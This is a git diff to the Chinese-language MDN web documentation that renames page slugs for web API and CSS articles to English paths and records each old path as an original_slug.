    diff --git a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html index 5313b80dc2..8d2df46ffb 100644 --- a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html +++ b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html @@ -1,7 +1,8 @@ --- title: 使用可读文件流 -slug: Web/API/Streams_API/使用可读文件流 +slug: Web/API/Streams_API/Using_readable_streams translation_of: Web/API/Streams_API/Using_readable_streams +original_slug: Web/API/Streams_API/使用可读文件流 ---
    {{apiref("Streams")}}
    diff --git a/files/zh-cn/web/api/uievent/view/index.html b/files/zh-cn/web/api/uievent/view/index.html index 66b72f2637..215789e0e9 100644 --- a/files/zh-cn/web/api/uievent/view/index.html +++ b/files/zh-cn/web/api/uievent/view/index.html @@ -1,6 +1,6 @@ --- title: 用户界面项目视图 -slug: Web/API/UIEvent/视图 +slug: Web/API/UIEvent/view tags: - API - DOM @@ -9,6 +9,7 @@ tags: - 只读 - 属性 translation_of: Web/API/UIEvent/view +original_slug: Web/API/UIEvent/视图 ---

    {{APIRef("DOM Events")}}

    diff --git a/files/zh-cn/web/api/url/password/index.html b/files/zh-cn/web/api/url/password/index.html index 1592676a9d..5490343afd 100644 --- a/files/zh-cn/web/api/url/password/index.html +++ b/files/zh-cn/web/api/url/password/index.html @@ -1,7 +1,8 @@ --- title: URL.密码 -slug: Web/API/URL/密码 +slug: Web/API/URL/password translation_of: Web/API/URL/password +original_slug: Web/API/URL/密码 ---
    {{ApiRef("URL API")}}
    diff --git a/files/zh-cn/web/api/web_audio_api/best_practices/index.html b/files/zh-cn/web/api/web_audio_api/best_practices/index.html index f0a241a557..5cc79ea155 100644 --- a/files/zh-cn/web/api/web_audio_api/best_practices/index.html +++ b/files/zh-cn/web/api/web_audio_api/best_practices/index.html @@ -1,12 +1,13 @@ --- title: Web Audio API 最佳实践 -slug: Web/API/Web_Audio_API/最佳实践 +slug: Web/API/Web_Audio_API/Best_practices tags: - Web Audio API - 指导 - 最佳实践 - 音频 translation_of: Web/API/Web_Audio_API/Best_practices +original_slug: Web/API/Web_Audio_API/最佳实践 ---
    {{apiref("Web Audio API")}}
    diff --git a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html index 60444f8dc4..5f59c5f8a0 100644 --- a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -1,11 +1,12 @@ --- title: 结构化克隆算法 -slug: Web/Guide/API/DOM/The_structured_clone_algorithm +slug: Web/API/Web_Workers_API/Structured_clone_algorithm tags: - DOM - HTML5 - 结构化克隆算法 translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +original_slug: Web/Guide/API/DOM/The_structured_clone_algorithm ---

    结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

    diff --git a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html index a62d4aeafa..bec5cebef6 100644 --- a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html +++ b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html @@ -1,7 +1,8 @@ --- title: WebGLRenderingContext.polygonOffset() -slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +slug: Web/API/WebGLRenderingContext/polygonOffset translation_of: Web/API/WebGLRenderingContext/polygonOffset +original_slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) ---
    {{APIRef("WebGL")}}
    diff --git a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html index 86ddf25b47..fca4ff4be7 100644 --- a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html +++ b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html @@ -1,7 +1,8 @@ --- title: WebRTC 介绍 -slug: WebRTC/介绍 +slug: Web/API/WebRTC_API/Session_lifetime translation_of: Web/API/WebRTC_API/Session_lifetime +original_slug: WebRTC/介绍 ---

    此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

    diff --git a/files/zh-cn/web/api/websocket/binarytype/index.html b/files/zh-cn/web/api/websocket/binarytype/index.html index aad8e48fc2..b2ff5df09d 100644 --- a/files/zh-cn/web/api/websocket/binarytype/index.html +++ b/files/zh-cn/web/api/websocket/binarytype/index.html @@ -1,6 +1,6 @@ --- title: WebSocket.binaryType -slug: Web/API/WebSocket/二进制类型 +slug: Web/API/WebSocket/binaryType tags: - 参考 - 属性 @@ -8,6 +8,7 @@ tags: - 网页套接字 - 网页接口 translation_of: Web/API/WebSocket/binaryType +original_slug: Web/API/WebSocket/二进制类型 ---

    {{APIRef("Web Sockets API")}}

    diff --git a/files/zh-cn/web/api/window/afterprint_event/index.html b/files/zh-cn/web/api/window/afterprint_event/index.html index 3ee72441cd..cdbd2aec80 100644 --- a/files/zh-cn/web/api/window/afterprint_event/index.html +++ b/files/zh-cn/web/api/window/afterprint_event/index.html @@ -1,7 +1,8 @@ --- title: afterprint -slug: Web/Events/afterprint +slug: Web/API/Window/afterprint_event translation_of: Web/API/Window/afterprint_event +original_slug: Web/Events/afterprint ---

    在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

    diff --git a/files/zh-cn/web/api/window/beforeprint_event/index.html b/files/zh-cn/web/api/window/beforeprint_event/index.html index fe9480238a..4846c902c9 100644 --- a/files/zh-cn/web/api/window/beforeprint_event/index.html +++ b/files/zh-cn/web/api/window/beforeprint_event/index.html @@ -1,7 +1,8 @@ --- title: beforeprint -slug: Web/Events/beforeprint +slug: Web/API/Window/beforeprint_event translation_of: Web/API/Window/beforeprint_event +original_slug: Web/Events/beforeprint ---

    当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

    diff --git a/files/zh-cn/web/api/window/beforeunload_event/index.html b/files/zh-cn/web/api/window/beforeunload_event/index.html index 9cef2f2cfc..bd200d41ce 100644 --- a/files/zh-cn/web/api/window/beforeunload_event/index.html +++ b/files/zh-cn/web/api/window/beforeunload_event/index.html @@ -1,6 +1,6 @@ --- title: 'Window: beforeunload event' -slug: Web/Events/beforeunload +slug: Web/API/Window/beforeunload_event tags: - Event - Window @@ -8,6 +8,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Window/beforeunload_event +original_slug: Web/Events/beforeunload ---

    当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

    diff --git a/files/zh-cn/web/api/window/blur/index.html b/files/zh-cn/web/api/window/blur/index.html index 0aebdbb367..fa3a0742cb 100644 --- a/files/zh-cn/web/api/window/blur/index.html +++ b/files/zh-cn/web/api/window/blur/index.html @@ -1,7 +1,8 @@ --- title: Window.blur() -slug: Web/API/Window/Window.blur() +slug: Web/API/Window/blur translation_of: Web/API/Window/blur +original_slug: Web/API/Window/Window.blur() ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/window/domcontentloaded_event/index.html b/files/zh-cn/web/api/window/domcontentloaded_event/index.html index 67c6a44253..8452eeb2e6 100644 --- a/files/zh-cn/web/api/window/domcontentloaded_event/index.html +++ b/files/zh-cn/web/api/window/domcontentloaded_event/index.html @@ -1,12 +1,13 @@ --- title: DOMContentLoaded -slug: Web/Events/DOMContentLoaded +slug: Web/API/Window/DOMContentLoaded_event tags: - DOMContentLoaded - Window.open() - load - window.onload translation_of: Web/API/Window/DOMContentLoaded_event +original_slug: Web/Events/DOMContentLoaded ---

    当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

    diff --git a/files/zh-cn/web/api/window/load_event/index.html b/files/zh-cn/web/api/window/load_event/index.html index 5cfb7b075f..7f784a47f1 100644 --- a/files/zh-cn/web/api/window/load_event/index.html +++ b/files/zh-cn/web/api/window/load_event/index.html @@ -1,9 +1,10 @@ --- title: load -slug: Web/Events/load +slug: Web/API/Window/load_event tags: - load translation_of: Web/API/Window/load_event +original_slug: Web/Events/load ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/window/pageshow_event/index.html b/files/zh-cn/web/api/window/pageshow_event/index.html index d0aec41716..482e1b567e 100644 --- a/files/zh-cn/web/api/window/pageshow_event/index.html +++ b/files/zh-cn/web/api/window/pageshow_event/index.html @@ -1,7 +1,8 @@ --- title: pageshow -slug: Web/Events/pageshow +slug: Web/API/Window/pageshow_event translation_of: Web/API/Window/pageshow_event +original_slug: Web/Events/pageshow ---

    当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

    diff --git a/files/zh-cn/web/api/window/unhandledrejection_event/index.html b/files/zh-cn/web/api/window/unhandledrejection_event/index.html index 9c3286aa44..8628a3e11f 100644 --- a/files/zh-cn/web/api/window/unhandledrejection_event/index.html +++ b/files/zh-cn/web/api/window/unhandledrejection_event/index.html @@ -1,6 +1,6 @@ --- title: unhandledrejection -slug: Web/Events/unhandledrejection +slug: Web/API/Window/unhandledrejection_event tags: - API - JavaScript @@ -9,6 +9,7 @@ tags: - 事件 - 参考 translation_of: Web/API/Window/unhandledrejection_event +original_slug: Web/Events/unhandledrejection ---
    {{APIRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/window/unload_event/index.html b/files/zh-cn/web/api/window/unload_event/index.html index 2510b1f651..dc03afe51f 100644 --- a/files/zh-cn/web/api/window/unload_event/index.html +++ b/files/zh-cn/web/api/window/unload_event/index.html @@ -1,11 +1,12 @@ --- title: unload -slug: Web/Events/unload +slug: Web/API/Window/unload_event tags: - Window - events - unload translation_of: Web/API/Window/unload_event +original_slug: Web/Events/unload ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html index 78bed99eb9..c2ac5649b6 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html @@ -1,7 +1,8 @@ --- title: window.onbeforeunload -slug: Web/API/Window/onbeforeunload +slug: Web/API/WindowEventHandlers/onbeforeunload translation_of: Web/API/WindowEventHandlers/onbeforeunload +original_slug: Web/API/Window/onbeforeunload ---
    {{ApiRef}}
    diff --git a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html index 0c7f3ebefa..e71dcdba5e 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html @@ -1,12 +1,13 @@ --- title: window.onhashchange -slug: Web/API/Window/onhashchange +slug: Web/API/WindowEventHandlers/onhashchange tags: - HTML-DOM - Property - Reference - WindowEventHandlers translation_of: Web/API/WindowEventHandlers/onhashchange +original_slug: Web/API/Window/onhashchange ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html index 6efc1ec835..54efcf6cf4 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html @@ -1,7 +1,8 @@ --- title: window.onpopstate -slug: Web/API/Window/onpopstate +slug: Web/API/WindowEventHandlers/onpopstate translation_of: Web/API/WindowEventHandlers/onpopstate +original_slug: Web/API/Window/onpopstate ---

    {{ ApiRef() }}

    diff --git a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html index 5e766c1d67..65b13fa59a 100644 --- a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html +++ b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html @@ -1,7 +1,8 @@ --- title: window.onunload -slug: Web/API/Window/onunload +slug: Web/API/WindowEventHandlers/onunload translation_of: Web/API/WindowEventHandlers/onunload +original_slug: Web/API/Window/onunload ---

    {{ ApiRef("HTML DOM") }}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html index 2892e403d4..7d5a66fdb5 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html @@ -1,6 +1,6 @@ --- title: WindowOrWorkerGlobalScope.atob() -slug: Web/API/WindowBase64/atob +slug: Web/API/WindowOrWorkerGlobalScope/atob tags: - API - Base64 @@ -10,6 +10,7 @@ tags: - 参考 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/atob +original_slug: Web/API/WindowBase64/atob ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html index 6b742198a5..83873fc559 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html @@ -1,6 +1,6 @@ --- title: WindowOrWorkerGlobalScope.btoa() -slug: Web/API/WindowBase64/btoa +slug: Web/API/WindowOrWorkerGlobalScope/btoa tags: - API - Base64 @@ -11,6 +11,7 @@ tags: - 数据 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +original_slug: Web/API/WindowBase64/btoa ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html index 9a2d6e1790..442e1bb81e 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -1,12 +1,13 @@ --- title: WindowTimers.clearInterval() -slug: Web/API/Window/clearInterval +slug: Web/API/WindowOrWorkerGlobalScope/clearInterval tags: - API - WindowOrWorkerGlobalScope - 参考 - 方法 translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +original_slug: Web/API/Window/clearInterval ---
    {{ApiRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html index 4b20c970d7..4e700ea7d0 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -1,11 +1,12 @@ --- title: WindowOrWorkerGlobalScope.clearTimeout() -slug: Web/API/WindowTimers/clearTimeout +slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout tags: - API - WindowOrWorkerGlobalScope - clearTimeout translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +original_slug: Web/API/WindowTimers/clearTimeout ---
    {{APIRef("HTML DOM")}}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html index 385a19b81b..d5a453b133 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html @@ -1,6 +1,6 @@ --- title: window.setInterval -slug: Web/API/Window/setInterval +slug: Web/API/WindowOrWorkerGlobalScope/setInterval tags: - API - DOM @@ -8,6 +8,7 @@ tags: - 方法 - 时间 translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +original_slug: Web/API/Window/setInterval ---
    {{ ApiRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html index f9813851f7..d0c80bb95b 100644 --- a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html +++ b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html @@ -1,12 +1,13 @@ --- title: window.setTimeout -slug: Web/API/Window/setTimeout +slug: Web/API/WindowOrWorkerGlobalScope/setTimeout tags: - Timers - WindowOrWorkerGlobalScope - WindowTimers - setTimeout translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +original_slug: Web/API/Window/setTimeout ---

    {{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html index 529a0b1673..60360d4c9e 100644 --- a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html @@ -1,7 +1,8 @@ --- title: loadend -slug: Web/Events/loadend +slug: Web/API/XMLHttpRequest/loadend_event translation_of: Web/API/XMLHttpRequest/loadend_event +original_slug: Web/Events/loadend ---

    loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

    diff --git a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html index 60362dd94a..3052ba08a7 100644 --- a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html @@ -1,9 +1,10 @@ --- title: loadstart -slug: Web/Events/loadstart +slug: Web/API/XMLHttpRequest/loadstart_event tags: - 事件 translation_of: Web/API/XMLHttpRequest/loadstart_event +original_slug: Web/Events/loadstart ---

    当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

    diff --git a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html index 6a63ab9d5e..1088c221ed 100644 --- a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html +++ b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html @@ -1,6 +1,6 @@ --- title: progress event -slug: Web/Events/进度条 +slug: Web/API/XMLHttpRequest/progress_event tags: - API - Event @@ -9,6 +9,7 @@ tags: - XMLHttpRequest - progress translation_of: Web/API/XMLHttpRequest/progress_event +original_slug: Web/Events/进度条 ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/xmlserializer/index.html b/files/zh-cn/web/api/xmlserializer/index.html index 5c0af6bf9f..8202d0c906 100644 --- a/files/zh-cn/web/api/xmlserializer/index.html +++ b/files/zh-cn/web/api/xmlserializer/index.html @@ -1,6 +1,6 @@ --- title: XMLSerializer -slug: XMLSerializer +slug: Web/API/XMLSerializer tags: - DOM Parsing - XML @@ -8,6 +8,7 @@ tags: - construct - conversion translation_of: Web/API/XMLSerializer +original_slug: XMLSerializer ---
    {{APIRef("XMLSerializer")}}
    diff --git a/files/zh-cn/web/css/_colon_blank/index.html b/files/zh-cn/web/css/_colon_blank/index.html index adcaa5c998..ee0cfeceee 100644 --- a/files/zh-cn/web/css/_colon_blank/index.html +++ b/files/zh-cn/web/css/_colon_blank/index.html @@ -1,11 +1,12 @@ --- title: ':blank' -slug: 'Web/CSS/:blank空白伪类' +slug: Web/CSS/:blank tags: - CSS - CSS 选择器 - 伪类 -translation_of: 'Web/CSS/:blank' +translation_of: Web/CSS/:blank +original_slug: Web/CSS/:blank空白伪类 ---

    {{CSSRef}}{{Draft}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/css/containing_block/index.html b/files/zh-cn/web/css/containing_block/index.html index bf35aa8c04..1c13915c54 100644 --- a/files/zh-cn/web/css/containing_block/index.html +++ b/files/zh-cn/web/css/containing_block/index.html @@ -1,6 +1,6 @@ --- title: 布局和包含块 -slug: Web/CSS/All_About_The_Containing_Block +slug: Web/CSS/Containing_block tags: - CSS - CSS Position @@ -13,6 +13,7 @@ tags: - containing block - size translation_of: Web/CSS/Containing_block +original_slug: Web/CSS/All_About_The_Containing_Block ---

    {{cssref}}

    diff --git a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html index b9f50d5332..dce36347b6 100644 --- a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html +++ b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html @@ -1,7 +1,8 @@ --- title: 圆角边框生成器 -slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 +slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +original_slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 ---

    使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

    diff --git a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html index 3fb264bc40..05235e41f1 100644 --- a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html +++ b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -1,7 +1,8 @@ --- title: Box-shadow generator -slug: Web/CSS/CSS_Box_Model/Box-shadow_generator +slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +original_slug: Web/CSS/CSS_Box_Model/Box-shadow_generator ---

    这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

    diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html index 2873b2878c..0a37fbf324 100644 --- a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html +++ b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -1,7 +1,8 @@ --- title: Scaling background images -slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +slug: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +original_slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html index fcde4cecb2..e77cea2ec5 100644 --- a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html +++ b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -1,10 +1,11 @@ --- title: Using URL values for the cursor property -slug: Web/CSS/cursor/url +slug: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property tags: - Cursor - URL translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +original_slug: Web/CSS/cursor/url ---

    Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

    diff --git a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html index 593e14fd47..b284829feb 100644 --- a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html +++ b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html @@ -1,7 +1,8 @@ --- title: 使用CSS的多列布局 -slug: Web/Guide/CSS/Using_multi-column_layouts +slug: Web/CSS/CSS_Columns/Using_multi-column_layouts translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +original_slug: Web/Guide/CSS/Using_multi-column_layouts ---

    {{CSSRef("CSS Multi-columns")}}

    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index df269a9211..0136810845 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: Flexbox的向下支持 -slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 +slug: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox tags: - '@supports' - IE @@ -11,6 +11,7 @@ tags: - 旧版本 - 浏览器 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox_的_向下_支持 ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html index c90b3416a5..6cddce9103 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -1,12 +1,14 @@ --- title: 弹性盒子与其他布局方法的联系 -slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods tags: - CSS - box alignment - flexbox translation_of: >- Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +original_slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html index 1b4c283f36..3ec35a1821 100644 --- a/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html +++ b/files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -1,7 +1,8 @@ --- title: Flexbox典型用例 -slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox +original_slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox ---

    {{CSSRef}}

    diff --git a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html index 2c84dc8384..4592f2a4d1 100644 --- a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html +++ b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html @@ -1,7 +1,8 @@ --- title: In Flow and Out of Flow -slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 +slug: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +original_slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 ---
    {{CSSRef}}
    diff --git a/files/zh-cn/web/css/css_fragmentation/index.html b/files/zh-cn/web/css/css_fragmentation/index.html index 5b0d8e7a13..ca10d1a783 100644 --- a/files/zh-cn/web/css/css_fragmentation/index.html +++ b/files/zh-cn/web/css/css_fragmentation/index.html @@ -1,11 +1,12 @@ --- title: CSS分片 -slug: Web/CSS/CSS_分片 +slug: Web/CSS/CSS_Fragmentation tags: - CSS - CSS分片 - 参考 translation_of: Web/CSS/CSS_Fragmentation +original_slug: Web/CSS/CSS_分片 ---
    {{cssref}}
    diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index 936634c06c..216a6fa669 100644 --- a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -1,11 +1,12 @@ --- title: CSS 网格,逻辑值和书写模式 -slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +slug: Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes tags: - CSS - CSS 指南 - 指南 -translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes +original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes ---

    在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

